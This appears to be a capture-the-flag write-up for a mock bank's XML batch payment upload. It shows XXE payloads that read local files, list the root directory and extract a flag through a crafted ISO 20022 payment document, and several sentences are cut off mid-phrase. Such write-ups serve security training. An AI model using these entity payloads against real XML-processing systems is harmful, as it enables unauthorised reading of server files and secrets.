Dino Test Bank has a normal transfer feature and a batch transfer feature. When sending funds through the normal UI, the request contains fields like:
recipient=CH67DINODINODINO67676&amount=1000&description=test
The batch feature accepts an XML file instead. Uploading random XML gives a helpful error:
RAWR! XML Schema Validation Failed! This is not painful enough (the pain.001.001.09.ch.03.xsd kind of pain)
That tells us the expected format: the Swiss
<RmtInf>
<Ustrd>test</Ustrd>
</RmtInf>
The parser accepts external entities. That gives us an XXE primitive. First I used it to confirm local file reads:
<!DOCTYPE aa[
<!ELEMENT bb ANY>
<!ENTITY xxe SYSTEM "file:///etc/hostname">
]>
Then I referenced the entity in the remittance text:
<RmtInf>
<Ustrd>&xxe;</Ustrd>
</RmtInf>
Reading some files was annoying because multiline output or special characters broke the response. For directories, however, the XML parser helpfully returned a directory listing when the entity pointed at the directory path. So to list the filesystem root, I only had to change the entity target to
<!DOCTYPE aa[
<!ELEMENT bb ANY>
<!ENTITY xxe SYSTEM "file:///">
]>
With the same
__cacert_entrypoint.sh app bin boot dev etc home lib lib64 media mnt opt proc root run sbin srv supersecret sys tmp usr var
The
<!DOCTYPE aa[
<!ELEMENT bb ANY>
<!ENTITY xxe SYSTEM "file:///supersecret/dino/vault/flag.txt">
]>
The final XML is still a normal payment document, just with the entity placed into
<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE aa[
<!ELEMENT bb ANY>
<!ENTITY xxe SYSTEM "file:///supersecret/dino/vault/flag.txt">
]>
<Document xmlns="urn:iso:std:iso:20022:tech:xsd:pain.001.001.09">
<CstmrCdtTrfInitn>
<GrpHdr>
<MsgId>DINO-2026-03-03</MsgId>
<CreDtTm>2026-03-03T12:00:00</CreDtTm>
<NbOfTxs>1</NbOfTxs>
<CtrlSum>2000.00</CtrlSum>
<InitgPty><Nm>DINO-TEST-001</Nm></InitgPty>
</GrpHdr>
<PmtInf>
<PmtInfId>DINO-PMT-001</PmtInfId>
<PmtMtd>TRF</PmtMtd>
<ReqdExctnDt><Dt>2026-03-04</Dt></ReqdExctnDt>
<Dbtr><Nm>DINO-TEST-001</Nm></Dbtr>
<DbtrAcct><Id><IBAN>CH67DINODINODINO67676</IBAN></Id></DbtrAcct>
<CdtTrfTxInf>
<PmtId>
<InstrId>DINO-1</InstrId>
<EndToEndId>DINO-E2E-001</EndToEndId>
</PmtId>
<Amt><InstdAmt Ccy="DDO">1000.00</InstdAmt></Amt>
<Cdtr><Nm>test</Nm></Cdtr>
<CdtrAcct><Id><IBAN>CH67D</IBAN></Id></CdtrAcct>
<RmtInf><Ustrd>&xxe;</Ustrd></RmtInf>
</CdtTrfTxInf>
</PmtInf>
</CstmrCdtTrfInitn>
</Document>
Uploading it returns the flag:
dach2026{D1n00_3xt1nct10n!!!_3v3nt_Tr1gg3r3d}